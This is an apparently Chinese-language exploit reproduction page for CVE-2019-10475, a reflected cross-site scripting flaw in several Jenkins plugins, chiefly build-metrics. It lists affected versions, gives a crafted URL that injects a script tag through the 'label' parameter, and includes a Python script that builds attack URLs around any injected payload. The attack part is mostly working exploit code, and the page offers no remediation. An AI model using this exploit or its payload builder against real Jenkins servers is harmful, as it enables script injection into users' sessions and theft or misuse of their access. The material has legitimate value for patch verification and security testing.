CVE-2019-10475 插件反射型xss¶
一、漏洞简介¶
二、漏洞影响¶
- 360 FireLine插件， 最高包括1.7.2
- Bitbucket OAuth插件， 最高包括0.9
- Build-metrics插件 1.3及以下
- 部署WebLogic Plugin 最高至4.1
- Dynatrace应用程序监视插件， 最高包括2.1.3
- Dynatrace应用程序监视插件， 最高包括2.1.4
- ElasticBox Jenkins Kubernetes CI / CD插件， 最高至1.3
- 包含1.1.4及以下版本的 全局Post Script插件
- Libvirt Slaves插件， 最高包括1.8.5
- 截至 2.7.0的 Mattermost Notification插件
- Sonar Gerrit插件， 最高包括2.3
- Zulip插件 （包括1.1.0及以下）
三、复现过程¶
1、手工复现
该vulnearble插件位于http://localhost:8080/plugin/build-metrics/，漏洞参数为label。
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search
2、利用脚本
Usage:
$ python3 CVE-2019-10475.py --help
usage: CVE-2019-10475.py [-h] [-p PORT] [-d DOMAIN] [-i INJECT]
CVE-2019-10475
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT port
-d DOMAIN, --domain DOMAIN
domain
-i INJECT, --inject INJECT
inject
#!/usr/bin/env python
import sys
import argparse
VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''
def get_parser():
parser = argparse.ArgumentParser(description='CVE-2019-10475')
parser.add_argument('-p', '--port', help='port', default=80, type=int)
parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
return parser
def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args['port']
domain = args['domain']
inject = args['inject']
if port == 80:
base_url = f'http://{domain}'
elif port == 443:
base_url = f'https://{domain}'
else:
base_url = f'http://{domain}:{port}'
build_url = VULN_URL.format(base_url=base_url, inject=inject)
print(build_url)
return 0
if __name__ == '__main__':
sys.exit(main())